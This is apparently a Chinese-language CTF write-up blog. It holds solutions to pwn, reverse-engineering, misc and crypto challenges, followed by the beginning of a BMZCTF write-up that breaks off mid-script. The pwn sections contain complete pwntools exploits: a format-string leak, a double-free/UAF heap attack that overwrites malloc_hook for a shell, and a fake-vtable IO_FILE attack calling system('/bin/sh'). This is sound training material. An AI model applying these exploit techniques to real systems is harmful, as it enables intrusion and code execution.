</span>REMOTE </span>= </span>True
</span>
</span>@connect(
</span>    </span>remoteAddr</span>=</span>'node2.hackingfor.fun:30146'</span>,
</span>    </span>elf</span>=</span>'./scmt'</span>,
</span>    </span>isRemote</span>=</span>REMOTE</span>,
</span>    </span>idaAddr</span>=</span>'192.168.138.1:9945'</span>,
</span>)
</span>def </span>main</span>(</span>p</span>: Union[remote, process], </span>ida</span>: IDAManage, </span>elf</span>: </span>ELF</span>):
</span>    p.sendlineafter(</span>'tell me your name:'</span>, </span>'%8$p'</span>)
</span>    p.recvuntil(</span>'0x'</span>)
</span>    n</span>=</span>int</span>(p.recvline(</span>False</span>),</span>16</span>)
</span>    p.sendlineafter(</span>'Give me your lucky number:'</span>,</span>str</span>(n))
</span>
</span>if </span>__name__ </span>== </span>"__main__"</span>:
</span>    main()
</span>
</span></code></pre>
[pwn] sooooeasy</h1>
一道只有增和删的堆题，题目中没有说明libc</code>版本，但是可以用过double free</code>的报错信息通过libc的低十二位查询得到libc版本为2.23-0ubuntu11.2_amd64</code>。</p>
*** Error in `./easypwn': double free or corruption (fasttop): 0x0000559fda059040 ***
</span>======= Backtrace: =========
</span>/lib/x86_64-linux-gnu/libc.so.6(+0x777f5)[0x7f2a0416c7f5]
</span>/lib/x86_64-linux-gnu/libc.so.6(+0x8038a)[0x7f2a0417538a]
</span>/lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7f2a0417958c]
</span>./easypwn(+0xd44)[0x559fd9b4bd44]
</span>./easypwn(+0xe7c)[0x559fd9b4be7c]
</span>/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f2a04115840]
</span>./easypwn(+0x979)[0x559fd9b4b979]
</span>======= Memory map: ========
</span></code></pre>
add</code>函数会开两个堆，第一个大小为0x28</code>，第二个为自己指定。</p>
delete</code>函数会将大小自己指定的那个堆块free</code>，并没有清空指针，存在UAF</code>。</p>
</p>
思路为：</p>


将一个大小为0x70</code>的区块先加入fastbin</code></p>
</li>

通过double free</code>伪造区块，改大的前一个区块的大小，刚好覆盖0x70</code>的区块，并free</code>，然后再将大出来的部分malloc</code>出来，使得0x70</code>的区块刚好在unsorted bin</code>内。此时fd指针为libc</code>内的地址。</p>
</li>

覆盖低地址的16bit</code>，修改fd指针为stdout</code>的地址，使堆块到stdout</code></p>
</li>

修改stdout</code>的write_base_ptr</code>的低字节，泄露libc</code>地址</p>
</li>

通过double free</code>将区块开到malloc_hook</code>附近，改为one_gadget</code>即可getshell</p>
该方案成功率为1/16</code>。</p>
</li>
</ol>
from </span>typing </span>import </span>Union
</span>from </span>pwn </span>import </span>*
</span>from </span>LibcSearcher </span>import </span>*
</span>from </span>IdaManage </span>import </span>*
</span>from </span>pwnlib.rop </span>import </span>*
</span>from </span>pwnlib.util.packing </span>import </span>flat
</span>from </span>pwnlib.context </span>import </span>*
</span>
</span>context.log_level</span>=</span>'CRITICAL'
</span>REMOTE </span>= </span>True
</span>
</span>@connect(
</span>    </span>remoteAddr</span>=</span>'node2.hackingfor.fun:31125'</span>,
</span>    </span>elf</span>=</span>'./sooooeasy'</span>,
</span>    </span>isRemote</span>=</span>REMOTE</span>,
</span>    </span>idaAddr</span>=</span>'192.168.138.1:9945'</span>,
</span>)
</span>def </span>main</span>(</span>p</span>: Union[remote, process], </span>ida</span>: IDAManage, </span>elf</span>: </span>ELF</span>):
</span>    </span>def </span>add</span>(</span>name_size</span>,</span>name</span>=</span>'1</span>\n</span>'</span>,</span>message</span>=</span>'a'</span>):
</span>        p.sendlineafter(</span>'Your choice : '</span>,</span>'1'</span>)
</span>        p.sendlineafter(</span>'name: '</span>,</span>str</span>(name_size))
</span>        p.sendafter(</span>'Your name:'</span>,name)
</span>        p.sendlineafter(</span>'Your message:'</span>,message)
</span>    </span>def </span>delete</span>(</span>index</span>):
</span>        p.sendlineafter(</span>'Your choice : '</span>,</span>'2'</span>)
</span>        p.sendlineafter(</span>'index:'</span>,</span>str</span>(index))
</span>
</span>    add(</span>0x60</span>) </span># 0
</span>    add(</span>0x28</span>) </span># 1
</span>    add(</span>0x28</span>) </span># 2
</span>    delete(</span>1</span>)
</span>    delete(</span>2</span>)
</span>    delete(</span>1</span>)
</span>    add(</span>0x28</span>) </span># 3
</span>    delete(</span>3</span>)
</span>    add(</span>0x28</span>,flat(</span>0</span>,</span>b</span>'</span>\xd0</span>'</span>)) </span># 4
</span>
</span>    add(</span>0x90</span>,flat(</span>b</span>'</span>\0</span>'</span>*</span>0x28</span>,</span>b</span>'</span>\x71</span>'</span>)) </span># 5
</span>    add(</span>0x28</span>) </span># 6
</span>    delete(</span>3</span>)
</span>    delete(</span>5</span>)
</span>
</span>    add(</span>0x50</span>,</span>name</span>=</span>flat(</span>b</span>'</span>\xdd\x55</span>'</span>)) </span># 7  to IO+FILE
</span>    delete(</span>6</span>)
</span>    add(</span>0x60</span>) </span># 8
</span>
</span>    </span># 9
</span>    p.sendlineafter(</span>'Your choice : '</span>,</span>'1'</span>)
</span>    p.sendlineafter(</span>'name: </span>\n</span>'</span>,</span>str</span>(</span>0x60</span>))
</span>    p.sendafter(</span>'Your name:</span>\n</span>'</span>,flat(</span>b</span>'</span>\0</span>'</span>*</span>51</span>,</span>0xfbad1800</span>,</span>0</span>,</span>0</span>,</span>0</span>,</span>b</span>'</span>\x40</span>'</span>))
</span>    libc_base</span>=</span>u64(p.recv(</span>8</span>))</span>-</span>0x7f5f88cb5640</span>+</span>0x7F5F888F0000
</span>    </span>assert </span>libc_base</span>&</span>0xfff</span>==</span>0
</span>    libc</span>=</span>LibcSearcher().prefer(</span>'2.23-0ubuntu11.2_amd64'</span>).elf()
</span>    libc.address</span>=</span>libc_base
</span>    </span>print</span>(</span>hex</span>(libc_base))
</span>    context.log_level</span>=</span>'debug'
</span>    p.sendlineafter(</span>'Your message:'</span>,</span>'a'</span>)
</span>
</span>    delete(</span>0</span>)
</span>    delete(</span>8</span>)
</span>    delete(</span>0</span>)
</span>    add(</span>0x60</span>,flat(libc.sym[</span>'__memalign_hook'</span>]</span>-</span>19</span>)) </span># 10
</span>    add(</span>0x60</span>,flat(libc.sym[</span>'__memalign_hook'</span>]</span>-</span>19</span>)) </span># 11
</span>    add(</span>0x60</span>,flat(libc.sym[</span>'__memalign_hook'</span>]</span>-</span>19</span>)) </span># 12
</span>    add(</span>0x60</span>,flat(</span>b</span>'</span>\0</span>'</span>*</span>3</span>,</span>0</span>,libc_base</span>+</span>0xf1207</span>,libc.sym[</span>'realloc'</span>]</span>+</span>4</span>)) </span># 13
</span>    p.sendlineafter(</span>'Your choice : '</span>,</span>'1'</span>)
</span>    p.sendline(</span>'cat flag'</span>)
</span>
</span>if </span>__name__ </span>== </span>"__main__"</span>:
</span>    main()
</span>
</span># Nep{4767c24e-5bf6-4953-bd9a-38533ef2fd84}
</span></code></pre>
[pwn] superpower</h1>
程序先读入并输出指定文件的内容，然后一个格式化字符串漏洞。</p>
</p>
思路：</p>

读取/proc/self/maps</code>泄露堆地址和libc地址</li>
然后通过格式化字符串漏洞，一次性修改三个地址。1：在bss</code>段伪造IO_jump_t</code>的close</code>指针，2：将堆中的IO_FILE</code>的vtable</code>指向伪造的IO_jump_t</code>，3：将堆中的IO_FILE</code>的头部覆盖为/bin/sh</code></li>
然后通过fclose</code>即可getshell</code></li>
</ol>
from </span>typing </span>import </span>Union
</span>from </span>pwn </span>import </span>*
</span>from </span>LibcSearcher </span>import </span>*
</span>from </span>IdaManage </span>import </span>*
</span>from </span>pwnlib.rop </span>import </span>*
</span>from </span>pwnlib.util.packing </span>import </span>flat
</span>from </span>pwnlib.context </span>import </span>*
</span>
</span>context.log_level</span>=</span>'debug'
</span>REMOTE </span>= </span>True
</span>
</span>@connect(
</span>    </span>remoteAddr</span>=</span>'node2.hackingfor.fun:32274'</span>,
</span>    </span>elf</span>=</span>'./superpower'</span>,
</span>    </span>isRemote</span>=</span>REMOTE</span>,
</span>    </span>idaAddr</span>=</span>'192.168.138.1:9945'</span>,
</span>)
</span>def </span>main</span>(</span>p</span>: Union[remote, process], </span>ida</span>: IDAManage, </span>elf</span>: </span>ELF</span>):
</span>    p.sendlineafter(</span>'filename:'</span>, </span>'/proc/self/maps'</span>)
</span>    heap_address</span>=</span>int</span>(p.recvline_contains(</span>'heap'</span>)[:</span>8</span>],</span>16</span>)
</span>    </span>if </span>REMOTE</span>:
</span>        libc</span>=</span>LibcSearcher().prefer(</span>'2.23-0ubuntu11.2_i386'</span>).elf()
</span>        libc.address</span>=</span>int</span>(p.recvline_contains(</span>'libc'</span>)[:</span>8</span>],</span>16</span>)
</span>    </span>else</span>:
</span>        libc</span>=</span>p.libc
</span>    </span>def </span>write</span>(</span>a</span>,</span>totalLen</span>,</span>offset</span>=</span>27</span>):
</span>        writeList</span>=</span>[]
</span>        </span>for </span>content,addr </span>in </span>a:
</span>            </span>if </span>isinstance</span>(content , </span>int</span>):
</span>                content</span>=</span>flat(content)
</span>            </span>for </span>i,c </span>in </span>enumerate</span>(content):
</span>                writeList.append((c,addr</span>+</span>i))
</span>        writeList.sort(</span>key</span>=</span>lambda </span>x</span>:x[</span>0</span>])
</span>        last</span>=</span>0
</span>        i</span>=</span>0
</span>        r</span>=</span>''
</span>        </span>for </span>c,a </span>in </span>writeList:
</span>            </span>if </span>c</span>-</span>last</span>==</span>0</span>:
</span>                r</span>+=</span>'</span>%%%d</span>$hhn'</span>%</span>(totalLen</span>//</span>4</span>-</span>len</span>(writeList)</span>+</span>offset</span>+</span>i)
</span>            </span>else</span>:
</span>                r</span>+=</span>'</span>%%%d</span>c</span>%%%d</span>$hhn'</span>%</span>(c</span>-</span>last,totalLen</span>//</span>4</span>-</span>len</span>(writeList)</span>+</span>offset</span>+</span>i)
</span>            last</span>=</span>c
</span>            i</span>+=</span>1
</span>        </span>return </span>flat({</span>0</span>:r</span>+</span>'</span>\0</span>'</span>,totalLen</span>-</span>len</span>(writeList)</span>*</span>4</span>:[i[</span>1</span>] </span>for </span>i </span>in </span>writeList]})
</span>    sleep(</span>1</span>)
</span>    p.sendlineafter(</span>'name?</span>\n</span>'</span>,write([
</span>        (libc.sym[</span>'system'</span>],elf.bss()),
</span>        (elf.bss()</span>-</span>0x44</span>,heap_address</span>+</span>0x9C</span>),
</span>        (</span>b</span>'/bin/sh</span>\0</span>'</span>,heap_address</span>+</span>0x8</span>),
</span>        ],</span>0x100</span>))
</span>if </span>__name__ </span>== </span>"__main__"</span>:
</span>    main()
</span># Nep{1ac76172-0318-4b1e-a71a-cb3d00d08c84}
</span></code></pre>
[re] hardcsharp</h1>
ILSpy</code>一把梭，AES后base64。原程序为</p>
// hardcsharp.Program
</span>using </span>System;
</span>using </span>hardcsharp;
</span>
</span>internal </span>class </span>Program
</span>{
</span>	</span>private static </span>void </span>Main</span>(</span>string</span>[] </span>args</span>)
</span>	{
</span>		</span>AesClass </span>aesClass </span>= new </span>AesClass</span>();
</span>		</span>string </span>text </span>= </span>""</span>;
</span>		</span>string </span>strB </span>= </span>"1Umgm5LG6lNPyRCd0LktJhJtyBN7ivpq+EKGmTAcXUM+0ikYZL4h4QTHGqH/3Wh0"</span>;
</span>		</span>byte</span>[] </span>array </span>= new </span>byte</span>[</span>32</span>]
</span>		{
</span>			</span>81</span>,	</span>82</span>, </span>87</span>, </span>81</span>, </span>82</span>, </span>87</span>, </span>68</span>, </span>92</span>, </span>94</span>, </span>86</span>, </span>93</span>, </span>18</span>, </span>18</span>, </span>18</span>, </span>18</span>, </span>18</span>, </span>18</span>, </span>18</span>, </span>18</span>, </span>18</span>, </span>18</span>, </span>18</span>, </span>18</span>, </span>18</span>, </span>18</span>, </span>18</span>, </span>18</span>, </span>18</span>, </span>18</span>, </span>18</span>, </span>18</span>, </span>18
</span>		};
</span>		</span>Console</span>.WriteLine(</span>"Welcome to nepnep csharp test! plz input the magical code:"</span>);
</span>		</span>string </span>text2 </span>= </span>Console</span>.ReadLine();
</span>		</span>if </span>(</span>text2</span>.</span>Length </span>!= </span>37</span>)
</span>		{
</span>			</span>Console</span>.WriteLine(</span>"Nope!"</span>);
</span>			</span>Console</span>.ReadKey();
</span>			</span>return</span>;
</span>		}
</span>		</span>if </span>(</span>text2</span>.Substring(</span>0</span>, </span>4</span>) </span>!= </span>"Nep{" </span>|| </span>text2</span>[</span>36</span>] </span>!= </span>'}'</span>)
</span>		{
</span>			</span>Console</span>.WriteLine(</span>"Nope!"</span>);
</span>			</span>Console</span>.ReadKey();
</span>			</span>return</span>;
</span>		}
</span>		</span>for </span>(</span>int </span>i </span>= </span>0</span>; </span>i </span>< </span>32</span>; </span>i</span>++</span>)
</span>		{
</span>			</span>text </span>+= </span>Convert</span>.ToChar(</span>array</span>[</span>i</span>] </span>^ </span>0x33</span>);
</span>		}
</span>		</span>if </span>(</span>string</span>.Compare(</span>aesClass</span>.AesEncrypt(</span>text2</span>, </span>text</span>), </span>strB</span>) </span>== </span>0</span>)
</span>		{
</span>			</span>Console</span>.WriteLine(</span>"wow, you pass it!"</span>);
</span>			</span>Console</span>.ReadKey();
</span>		}
</span>		</span>else
</span>		{
</span>			</span>Console</span>.WriteLine(</span>"Nope!"</span>);
</span>			</span>Console</span>.ReadKey();
</span>		}
</span>	}
</span>}
</span>
</span></code></pre>
exp:</p>
from </span>Crypto.Cipher </span>import </span>AES
</span>import </span>base64
</span>
</span>key </span>= </span>[</span>81</span>, </span>82</span>, </span>87</span>, </span>81</span>, </span>82</span>, </span>87</span>, </span>68</span>, </span>92</span>,</span>94</span>,</span>86</span>,</span>93</span>,</span>18</span>,</span>18</span>,</span>18</span>,</span>18</span>,</span>18</span>,</span>18</span>,</span>18</span>,</span>18</span>,</span>18</span>,</span>18</span>,</span>18</span>,</span>18</span>,</span>18</span>,</span>18</span>,</span>18</span>,</span>18</span>,</span>18</span>,</span>18</span>,</span>18</span>,</span>18</span>,</span>18</span>]
</span>key</span>=</span>bytes</span>([i</span>^</span>0x33 </span>for </span>i </span>in </span>key])
</span>cipher</span>=</span>b</span>"1Umgm5LG6lNPyRCd0LktJhJtyBN7ivpq+EKGmTAcXUM+0ikYZL4h4QTHGqH/3Wh0"
</span>
</span>text</span>=</span>AES.new(key,</span>AES</span>.</span>MODE_ECB</span>).decrypt(base64.b64decode(cipher))
</span>print</span>(text)
</span></code></pre>
[re] 二十六进制</h1>
题目将输入的数字转化为逆序的26进制，用链表储存，符号表为2163qwe)(*&^%489$!057@#><A</code>，然后判断是否等于Fb72>&6</code>。</p>
from </span>Crypto.Hash </span>import </span>MD5
</span>c</span>=</span>list</span>(</span>b</span>"Fb72>&6"</span>[::</span>-</span>1</span>])
</span>for </span>i </span>in </span>range</span>(</span>len</span>(c)):
</span>    c[i]</span>^=</span>7
</span>
</span>b</span>=</span>list</span>(</span>b</span>"2163qwe)(*&^%489$!057@#><A"</span>)
</span>
</span>r</span>=</span>0
</span>for </span>i </span>in </span>c:
</span>    r</span>*=</span>26
</span>    r</span>+=</span>b.index(i)
</span>print</span>(r)
</span>
</span>print</span>(</span>'Nep{'</span>+</span>MD5.new(</span>str</span>(r).encode()).hexdigest()</span>+</span>'}'</span>)
</span></code></pre>
[re] easy_mips</h1>
逻辑非常简单，在先对输入的三个特定位置异或，然后逐位减取一个数。用qemu</code>跑一下就可以得到异或的内容了。</p>
c</span>=</span>list</span>(</span>b</span>'3_isjA0UeQZcNa</span>\\</span>`</span>\\</span>Vf'</span>)
</span>c[</span>0</span>]</span>^=</span>0x7a
</span>c[</span>5</span>]</span>^=</span>0x24
</span>c[</span>6</span>]</span>^=</span>0x51
</span>v2</span>=</span>5
</span>for </span>i </span>in </span>c:
</span>    </span>print</span>(</span>chr</span>(i</span>+</span>v2),</span>end</span>=</span>''</span>)
</span>    v2</span>+=</span>1
</span></code></pre>
[re] password</h1>
apk逆向，没有加壳。先通过JNI判断key的正确性，然后通过一个改版的RC4得到密码，解压assets/flag.zip</code>即可。JNI中为简单的base64加密，改版的RC4将java代码复制一遍，将再次加密即可。</p>
</p>
b64表为a-z0-9+/A-Z</code>，可以得到key:th1s_1s_k3y!!!!!</code></p>
</p>
然后通过java</code>解密：</p>
public </span>class </span>Exp </span>{
</span>    </span>public static </span>void </span>en1</span>(</span>int</span>[] </span>iArr</span>, </span>String </span>str</span>, </span>int </span>i</span>) {
</span>        </span>byte</span>[]</span> bArr </span>= new </span>byte</span>[</span>256</span>];
</span>        </span>byte</span>[]</span> bytes </span>=</span> str.getBytes();
</span>        </span>for </span>(</span>int</span> i2 </span>= </span>0</span>; i2 </span>< </span>256</span>; i2</span>++</span>) {
</span>            iArr[i2] </span>= </span>256 </span>-</span> i2;
</span>            bArr[i2] </span>=</span> bytes[i2 </span>%</span> i];
</span>        }
</span>        </span>int</span> i3 </span>= </span>0</span>;
</span>        </span>for </span>(</span>int</span> i4 </span>= </span>0</span>; i4 </span>< </span>256</span>; i4</span>++</span>) {
</span>            i3 </span>= </span>((iArr[i4] </span>+</span> i3) </span>+</span> bArr[i4]) </span>% </span>256</span>;
</span>            </span>int</span> i5 </span>=</span> iArr[i4];
</span>            iArr[i4] </span>=</span> iArr[i3];
</span>            iArr[i3] </span>=</span> i5;
</span>        }
</span>    }
</span>
</span>
</span>    </span>public static </span>void </span>en2</span>(</span>int</span>[] </span>iArr</span>, </span>byte</span>[] </span>bArr</span>, </span>int </span>i</span>) {
</span>        </span>int</span> i2 </span>= </span>0</span>;
</span>        </span>int</span> i3 </span>= </span>0</span>;
</span>        </span>for </span>(</span>int</span> i4 </span>= </span>0</span>; i4 </span><</span> i; i4</span>++</span>) {
</span>            i2 </span>= </span>(i2 </span>+ </span>1</span>) </span>% </span>256</span>;
</span>            i3 </span>= </span>((iArr[i2] </span>& </span>255</span>) </span>+</span> i3) </span>% </span>256</span>;
</span>            </span>int</span> i5 </span>=</span> iArr[i2];
</span>            iArr[i2] </span>=</span> iArr[i3];
</span>            iArr[i3] </span>=</span> i5;
</span>            bArr[i4] </span>= </span>(</span>byte</span>) (bArr[i4] </span>^</span> iArr[((iArr[i2] </span>& </span>255</span>) </span>+ </span>(iArr[i3] </span>& </span>255</span>)) </span>% </span>256</span>]);
</span>        }
</span>    }
</span>
</span>    </span>public static </span>void </span>main</span>(</span>String</span>[] </span>args</span>) {
</span>        </span>String</span> str</span>=</span>"th1s_1s_k3y!!!!!"</span>;
</span>        </span>int</span>[]</span> iArr </span>= new </span>int</span>[</span>256</span>];
</span>        </span>byte</span>[]</span> iArr2 </span>= </span>{(</span>byte</span>)</span>139</span>, (</span>byte</span>)</span>210</span>, (</span>byte</span>)</span>217</span>, (</span>byte</span>)</span>93</span>, (</span>byte</span>)</span>149</span>, (</span>byte</span>)</span>255</span>, (</span>byte</span>)</span>126</span>, (</span>byte</span>)</span>95</span>, (</span>byte</span>)</span>41</span>, (</span>byte</span>)</span>86</span>, (</span>byte</span>)</span>18</span>, (</span>byte</span>)</span>185</span>, (</span>byte</span>)</span>239</span>, (</span>byte</span>)</span>236</span>, (</span>byte</span>)</span>139</span>, (</span>byte</span>)</span>208</span>, (</span>byte</span>)</span>69</span>};
</span>        en1(iArr, str, str.length());
</span>        en2(iArr, iArr2, iArr2.length);
</span>
</span>        </span>for </span>(</span>int</span> i </span>= </span>0</span>; i </span>< </span>17</span>; i</span>++</span>) {
</span>            </span>System</span>.out.print((</span>char</span>)iArr2[i]);
</span>        }
</span>    }
</span>}
</span></code></pre>
[misc] 签到</h1>
二进制输出即可</p>
# 列表太长了，就不放出来了
</span>flag </span>=</span>[</span>0xffffffffffffffffffffffffffffffff</span>,</span>...</span>,</span>0xffffffffffffffffffffffffffffffff</span>]
</span>for </span>i </span>in </span>flag:
</span>    </span>print</span>(</span>bin</span>(i)[</span>2</span>:])
</span>
</span></code></pre>
效果图：</p>
</p>
[misc] 冰峰历险记</h1>
Electron程序，安装在~\AppData\Local\Adventure</code>下，逆向app-1.0.0/resources/app/index.html</code>。将失败的函数注释掉即可不死。</p>
</p>
在比对输入的函数中，加上输出语句即可得到flag。</p>
</p>
游戏中ctrl+shift+i</code>打开控制台，即可得到flag。</p>
</p>
[misc] 我是间谍2nd</h1>
目标是伪造与223.223.223.223:6001</code>通信。</p>
可以通过Proxifier</code>添加规则，让它走向自己的python</code>的sock5</code>代理服务器，将其转发至本机1234</code>端口，提前打开nc</code>服务器即可。</p>
import </span>select
</span>import </span>socket
</span>import </span>struct
</span>from </span>socketserver </span>import </span>StreamRequestHandler, ThreadingTCPServer
</span>SOCKS_VERSION </span>= </span>5
</span>class </span>SocksProxy</span>(</span>StreamRequestHandler</span>):
</span>    </span>def </span>handle</span>(</span>self</span>):
</span>        </span>print</span>(</span>'Accepting connection from </span>{}</span>'</span>.format(</span>self</span>.client_address))
</span>        </span># 协商
</span>        </span># 从客户端读取并解包两个字节的数据
</span>        header </span>= </span>self</span>.connection.recv(</span>2</span>)
</span>        version, nmethods </span>= </span>struct.unpack(</span>"!BB"</span>, header)
</span>        </span># 设置socks5协议，METHODS字段的数目大于0
</span>        </span>assert </span>version </span>== </span>SOCKS_VERSION
</span>        </span>assert </span>nmethods </span>> </span>0
</span>        </span># 接受支持的方法
</span>        methods </span>= </span>self</span>.get_available_methods(nmethods)
</span>        </span># 无需认证
</span>        </span>if </span>0 </span>not in </span>set</span>(methods):
</span>            </span>self</span>.server.close_request(</span>self</span>.request)
</span>            </span>return
</span>        </span># 发送协商响应数据包
</span>        </span>self</span>.connection.sendall(struct.pack(</span>"!BB"</span>, </span>SOCKS_VERSION</span>, </span>0</span>))
</span>        </span># 请求
</span>        version, cmd, </span>_</span>, address_type </span>= </span>struct.unpack(</span>"!BBBB"</span>, </span>self</span>.connection.recv(</span>4</span>))
</span>        </span>assert </span>version </span>== </span>SOCKS_VERSION
</span>        </span>if </span>address_type </span>== </span>1</span>:  </span># IPv4
</span>            address </span>= </span>socket.inet_ntoa(</span>self</span>.connection.recv(</span>4</span>))
</span>        </span>elif </span>address_type </span>== </span>3</span>:  </span># Domain name
</span>            domain_length </span>= </span>self</span>.connection.recv(</span>1</span>)[</span>0</span>]
</span>            address </span>= </span>self</span>.connection.recv(domain_length)
</span>            </span>#address = socket.gethostbyname(address.decode("UTF-8"))  # 将域名转化为IP，这一行可以去掉
</span>        </span>elif </span>address_type </span>== </span>4</span>: </span># IPv6
</span>            addr_ip </span>= </span>self</span>.connection.recv(</span>16</span>)
</span>            address </span>= </span>socket.inet_ntop(socket.</span>AF_INET6</span>, addr_ip)
</span>        </span>else</span>:
</span>            </span>self</span>.server.close_request(</span>self</span>.request)
</span>            </span>return
</span>        port </span>= </span>struct.unpack(</span>'!H'</span>, </span>self</span>.connection.recv(</span>2</span>))[</span>0</span>]
</span>        </span># 响应，只支持CONNECT请求
</span>        </span>try</span>:
</span>            </span>if </span>cmd </span>== </span>1</span>:  </span># CONNECT
</span>                remote </span>= </span>socket.socket(socket.</span>AF_INET</span>, socket.</span>SOCK_STREAM</span>)
</span>                </span>if </span>address</span>==</span>'223.223.223.223'</span>:
</span>                    address</span>=</span>'127.0.0.1'
</span>                    port</span>=</span>1234
</span>                remote.connect((address, port))
</span>                bind_address </span>= </span>remote.getsockname()
</span>                </span>print</span>(</span>'Connected to </span>{} {}</span>'</span>.format(address, port))
</span>            </span>else</span>:
</span>                </span>self</span>.server.close_request(</span>self</span>.request)
</span>            addr </span>= </span>struct.unpack(</span>"!I"</span>, socket.inet_aton(bind_address[</span>0</span>]))[</span>0</span>]
</span>            port </span>= </span>bind_address[</span>1</span>]
</span>            reply </span>= </span>struct.pack(</span>"!BBBBIH"</span>, </span>SOCKS_VERSION</span>, </span>0</span>, </span>0</span>, </span>1</span>, addr, port)
</span>        </span>except </span>Exception </span>as </span>err:
</span>            logging.error(err)
</span>            </span># 响应拒绝连接的错误
</span>            reply </span>= </span>self</span>.generate_failed_reply(address_type, </span>5</span>)
</span>        </span>self</span>.connection.sendall(reply)
</span>        </span># 建立连接成功，开始交换数据
</span>        </span>if </span>reply[</span>1</span>] </span>== </span>0 </span>and </span>cmd </span>== </span>1</span>:
</span>            </span>self</span>.exchange_loop(</span>self</span>.connection, remote)
</span>        </span>self</span>.server.close_request(</span>self</span>.request)
</span>    </span>def </span>get_available_methods</span>(</span>self</span>, </span>n</span>):
</span>        methods </span>= </span>[]
</span>        </span>for </span>i </span>in </span>range</span>(n):
</span>            methods.append(</span>ord</span>(</span>self</span>.connection.recv(</span>1</span>)))
</span>        </span>return </span>methods
</span>    </span>def </span>generate_failed_reply</span>(</span>self</span>, </span>address_type</span>, </span>error_number</span>):
</span>        </span>return </span>struct.pack(</span>"!BBBBIH"</span>, </span>SOCKS_VERSION</span>, error_number, </span>0</span>, address_type, </span>0</span>, </span>0</span>)
</span>    </span>def </span>exchange_loop</span>(</span>self</span>, </span>client</span>, </span>remote</span>):
</span>        </span>while </span>True</span>:
</span>            </span># 等待数据
</span>            r, w, e </span>= </span>select.select([client, remote], [], [])
</span>            </span>if </span>client </span>in </span>r:
</span>                data </span>= </span>client.recv(</span>4096</span>)
</span>                </span>if </span>remote.send(data) </span><= </span>0</span>:
</span>                    </span>break
</span>            </span>if </span>remote </span>in </span>r:
</span>                data </span>= </span>remote.recv(</span>4096</span>)
</span>                </span>if </span>client.send(data) </span><= </span>0</span>:
</span>                    </span>break
</span>if </span>__name__ </span>== </span>'__main__'</span>:
</span>    </span>with </span>ThreadingTCPServer((</span>'127.0.0.1'</span>, </span>9011</span>), SocksProxy) </span>as </span>server:
</span>        server.serve_forever()
</span></code></pre>
</p>
[crypto] Real_base</h1>
程序用未知的表进行base64</code>加密，先用标准base64加密，可以得到部分替换表，再通过猜测得到完整的替换表。</p>
import </span>base64
</span>
</span>m1</span>=</span>b</span>"rTcb1BR8YVW2EOUjweXpIiLt5QCNg7ZAsD9muq3ylMhvofnx/P"
</span>m1c_</span>=</span>base64.b64encode(m1)
</span>m1c</span>=</span>b</span>"2Br9y9fcu97zvB2OruZv0D3Bwhbj0uNQnvfdtC2TwAfPrdBJ3xeP4wNn0hzLzCVUlRa="
</span>
</span># A-Za-z0-9+/=
</span>ab</span>=</span>b</span>"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+="
</span>ab_</span>=</span>[</span>'_'</span>]</span>*</span>len</span>(ab)
</span>
</span>for </span>i,c </span>in </span>enumerate</span>(m1c):
</span>    ab_[ab.index(c)]</span>=</span>chr</span>(m1c_[i])
</span>print</span>(</span>""</span>.join(ab_))
</span>
</span># klmn_____t_v_xyz01_345___9ABCDEF_H_J_L_N___R_TUVWXYZa_cde__h_j_=
</span># 猜测为
</span>ab_</span>=</span>b</span>"klmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghij+="
</span>flag_c</span>=</span>b</span>'tCvM4R3TzvZ7nhjBxSiNyxmP28e7qCjVxQn91SRM3gBKzxQ='
</span>
</span>flag_e</span>=</span>[]
</span>for </span>i </span>in </span>flag_c:
</span>    flag_e.append(ab_[ab.index(i)])
</span>
</span>print</span>(base64.b64decode(</span>bytes</span>(flag_e)).decode())
</span># Nep{Wwe_a4re_b1as3r!!Bby_Ccomptine}
</span></code></pre>
[crypto] 你们一天天的不写代码难道是在等爱情吗</h1>
标准银河字母、盲文、跳舞的小人、圣堂武士密码等，然后经过key</code>为3的W型栅栏密码，和ROT13</code>即为flag</code>。</p>
</p>
</p>


2020 BMZCTF Re&Pwn WriteUp
2020-12-25T00:00:00+00:00
Re</h1>
re1</h2>
main</code>函数如下</p>
</p>
对输入逐字符加密，先后进行了异或、取余、异或，由于取余操作不好直接逆向，所以这里采用对128个ascii</code>码全部进行上述加密，然后只要查表就可以得到加密前的ascii</code>码了。</p>
flag</span>=</span>[</span>5070369</span>,</span>5070379</span>,</span>5070398</span>,</span>5070368</span>,</span>5070420</span>,</span>5070365</span>,</span>5070346</span>,</span>5070389</span>,</span>5070364</span>,</span>5070387</span>,</span>5070337</span>,</span>5070392</span>,</span>5070349</span>,</span>5070370</span>,</span>5070386</span>,</span>5070370</span>,</span>5070391</span>,</span>5070380</span>,</span>5070444</span>,</span>5070392</span>,</span>5070446</span>,</span>5070380</span>,</span>5070392</span>,</span>5070364</span>,</span>5070376</span>,</span>5070447</span>,</span>5070446</span>,</span>5070426</span>]
</span>def </span>en</span>(</span>a</span>):
</span>    a</span>^=</span>0x1A2B3C
</span>    a</span>%=</span>0x1A2B0C
</span>    a</span>^=</span>0x4D5E6F
</span>    </span>return </span>a
</span>key</span>=</span>{}
</span>for </span>i </span>in </span>range</span>(</span>128</span>):
</span>    key[en(i)]</span>=</span>i
</span>for </span>i </span>in </span>flag:
</span>    </span>print</span>(</span>chr</span>(key[i]),</span>end</span>=</span>''</span>)
</span># flag{BMZCTF_ReUeXs3_1s_Co01}
</span></code></pre>
re2</h2>
Auth</code>函数如下：</p>
</p>
该函数将输入分成三段处理，先进行异或和倒序(注意第二段没有倒序)，然后S盒交换。就S盒提取出来，写脚本就行了。</p>
out_part1</span>=</span>[</span>3214</span>, </span>3205</span>, </span>3207</span>, </span>3225</span>, </span>3236</span>, </span>3281</span>, </span>3203</span>, </span>3214</span>, </span>3204</span>]
</span>out_part2</span>=</span>[</span>3994</span>, </span>3979</span>, </span>4000</span>, </span>4047</span>, </span>3981</span>, </span>4000</span>, </span>4025</span>, </span>3998</span>, </span>4000</span>]
</span>out_part3</span>=</span>[</span>1167</span>, </span>1177</span>, </span>1167</span>, </span>1175</span>, </span>1245</span>, </span>1205</span>, </span>1180</span>, </span>1154</span>, </span>1208</span>]
</span>
